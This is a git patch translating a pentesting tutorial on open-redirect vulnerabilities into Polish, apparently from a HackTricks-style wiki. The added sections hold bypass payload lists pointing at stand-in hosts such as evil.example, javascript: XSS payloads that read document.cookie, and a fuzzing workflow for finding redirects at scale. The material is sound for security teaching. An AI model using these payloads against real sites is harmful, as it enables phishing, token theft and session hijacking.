From f2766f3a97af4e1f7fe94d2bb6e8cfda6197f268 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 15:29:44 +0000 Subject: [PATCH] Translated ['src/pentesting-web/open-redirect.md'] to pl --- src/pentesting-web/open-redirect.md | 121 ++++++++++++++++++++++++++-- 1 file changed, 114 insertions(+), 7 deletions(-) diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index aaeb89301..129356e57 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -7,12 +7,23 @@ ### Przekierowanie do localhost lub dowolnych domen +- Jeśli aplikacja „allows only internal/whitelisted hosts”, spróbuj alternatywnych zapisów hosta, aby trafić w loopback lub zakresy wewnętrzne poprzez cel przekierowania: +- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal) +- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1] +- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1. +- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1. +- Network-path references often bypass naive validators that prepend a scheme or only check prefixes: +- //attacker.tld → interpretowane jako względne względem schemy i przekierowują poza serwis, używając bieżącej schemy. +- Userinfo tricks defeat contains/startswith checks against trusted hosts: +- https://trusted.tld@attacker.tld/ → przeglądarka przechodzi do attacker.tld, ale proste sprawdzenia tekstowe „widzą” trusted.tld. +- Backslash parsing confusion between frameworks/browsers: +- https://trusted.tld\@attacker.tld → niektóre backendy traktują „\” jako znak ścieżki i przechodzą walidację; przeglądarki normalizują to do „/” i interpretują trusted.tld jako userinfo, wysyłając użytkowników do attacker.tld. Pojawia się to także w rozbieżnościach parserów URL w Node/PHP. {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -### Open Redirect do XSS +### Nowoczesne open-redirecty jako pivoty do XSS ```bash #Basic payload, javascript code is executed after "javascript:" javascript:alert(1) @@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` -## Open Redirect przesyłanie plików svg +
+Bardziej nowoczesne URL-based bypass payloads +```text +# Scheme-relative (current scheme is reused) +//evil.example + +# Credentials (userinfo) trick +https://trusted.example@evil.example/ + +# Backslash confusion (server validates, browser normalizes) +https://trusted.example\@evil.example/ + +# Schemeless with whitespace/control chars +evil.example%00 +%09//evil.example + +# Prefix/suffix matching flaws +https://trusted.example.evil.example/ +https://evil.example/trusted.example + +# When only path is accepted, try breaking absolute URL detection +/\\evil.example +/..//evil.example +``` + +``` +
+ +## Open Redirect uploading svg files + ```html @@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg"> ``` -## Powszechne parametry wstrzykiwania + +## Common injection parameters + ``` /{payload} ?next={payload} @@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io ReturnUrl=https://c1h2e1.github.io ``` -## Przykłady kodu + +## Code examples #### .Net + ```bash response.redirect("~/mysafe-subdomain/login.aspx") ``` + #### Java + ```bash response.redirect("http://mysafedomain.com"); ``` + #### PHP + ```php ``` + +## Hunting and exploitation workflow (practical) + +- Single URL check with curl: + +```bash +curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:" +``` + +- Discover and fuzz likely parameters at scale: + +
+Click to expand + +```bash +# 1) Zbierz historyczne URL-e, zachowaj te z typowymi parametrami przekierowania +cat domains.txt \ +| gau --o urls.txt # or: waybackurls / katana / hakrawler + +# 2) Grep typowe parametry i znormalizuj listę +rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \ +| sed 's/\r$//' | sort -u > candidates.txt + +# 3) Użyj OpenRedireX do fuzzowania z korpusem payloadów +cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt + +# 4) Ręcznie zweryfikuj interesujące trafienia +awk '/30[1237]|Location:/I' results.txt +``` +``` +
+ +- Nie zapominaj o client-side sinks w SPAs: szukaj window.location/assign/replace oraz framework helpers, które odczytują query/hash i wykonują redirect. + +- Frameworks często wprowadzają footguns, gdy redirect destinations pochodzą z untrusted input (query params, Referer, cookies). Zobacz Next.js notes o redirects i unikaj dynamicznych destinations pochodzących z user input. + +{{#ref}} +../network-services-pentesting/pentesting-web/nextjs.md +{{#endref}} + +- OAuth/OIDC flows: nadużywanie open redirectors często eskaluje do account takeover by leaking authorization codes/tokens. Zobacz dedykowany poradnik: + +{{#ref}} +./oauth-to-account-takeover.md +{{#endref}} + +- Odpowiedzi serwera, które implementują redirects bez Location (meta refresh/JavaScript), są nadal exploitable dla phishingu i czasami można je chainować. Grep for: +```html + + +``` ## Narzędzia - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) +- OpenRedireX – fuzzer służący do wykrywania open redirects. Przykład: +```bash +# Install +git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh -## Zasoby +# Fuzz a list of candidate URLs (use FUZZ as placeholder) +cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50 +``` +## Źródła -- W [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) możesz znaleźć listy fuzzingowe. +- Na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect możesz znaleźć fuzzing lists. - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) - +- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection +- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX {{#include ../banners/hacktricks-training.md}}